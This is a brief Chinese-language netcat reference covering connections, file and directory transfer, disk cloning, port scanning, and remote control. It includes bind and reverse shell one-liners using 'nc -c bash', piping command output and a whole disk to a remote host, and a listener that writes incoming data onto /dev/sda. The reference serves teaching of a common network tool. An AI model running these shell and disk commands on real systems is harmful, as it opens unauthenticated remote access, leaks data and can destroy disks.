NC工具使用
- 作为客户端连接服务
nc -nv 192.168.0.100 8080
- 作为服务端等待连接
nc -lp 8080
信息收集
- 通过管道符重定向远端内容到本地
- 本地开启监听
nc -lp 8080 >info.txt
- 远端连接执行命令
ls -al|nc -nv 192.168.0.100 8080 -q 1
传输文件
- 方式一
nc -lp 8080 > a.mp4
nc -nv 192.168.0.100 8080 < b.mp4 -q 1
- 方式二
nc -lp 8080 -q 1 < a.mp4
nc -nv 192.168.0.100 8080 >b.mp4
传输目录
tar -czvf - /dir/ | nc -lp 8080 -q 1
nc -nv 192.168.0.100 | tar -xzvf -
远程克隆硬盘
nc -lp 8080|dd of=/dev/sda
dd if=/dev/sda |nc -nv 192.168.0.100 8080 -q 1
端口扫描
nc -nvzu 192.168.0.100 1-65535
远程控制
- 正向
nc -lp 8080 -c bash
nc -nv 192.168.0.100 8080
- 反向
nc -lp 8080
nc -nv 192.168.0.100 8080 -c bash
注意:
- nc缺乏加密和身份验证
- 不同系统、平台nc参数功能不尽相同